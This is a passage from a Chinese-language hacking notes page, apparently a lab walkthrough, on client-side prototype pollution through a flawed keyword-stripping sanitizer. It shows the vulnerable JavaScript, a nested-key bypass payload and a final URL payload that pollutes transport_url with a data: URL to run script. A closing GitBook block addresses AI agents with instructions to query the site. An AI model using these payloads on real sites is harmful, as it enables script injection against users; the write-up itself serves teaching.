> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# 通过有缺陷的清理进行客户端原型污染

### 通过有缺陷的清理在客户端进行原型污染

#### (1) 背景和基本思路

应用程序读取 URL 设置，然后通过以下方式将它们转换为 JavaScript 对象： `deparam(...)`:

* 它构造 `config = { params: deparam(...) }`
* 然后它使用 `config.transport_url` 来加载一个 `<script src="...">`

为了避免原型污染，开发者添加了 `sanitizeKey()` 它会移除键中的以下子串：/ `constructor`, `__proto__`, `prototype`.

问题：这种清理只是一个 **replaceAll**。如果 **把** 被禁止的词拆成几段，替换后它可以 **重构**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("存储查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2）来源：绕过过滤并污染 `Object.prototype`

过滤器会移除 `__proto__` 如果它原样出现。/ 它通过将它 `__proto__` **插入中间** 放在一个更大的键中，这样删除后，最终的键会正好变成 `__proto__`.

载荷：

```javascript
?__pro__proto__to__[foo]=bar
```

清理后：

* `__pro__proto__to__` →（删除 `__proto__`) → `__proto__`

所以这就像：

* `?__proto__[foo]=bar` -> 全局原型污染

在控制台中检查：

```javascript
console.log({}.foo)
```

<figure><img src="/files/957442066b4ba047fabbd569caa46b2ed5fb8eb3" alt="" width="520"><figcaption></figcaption></figure>

#### (4) 最终利用：触发 `alert()`

`transport_url` 被污染为一个 `data:` 在脚本加载时运行 JS 的 URL 方案：

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/3cf03fffff49251b7bc3bd95607196127291285d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
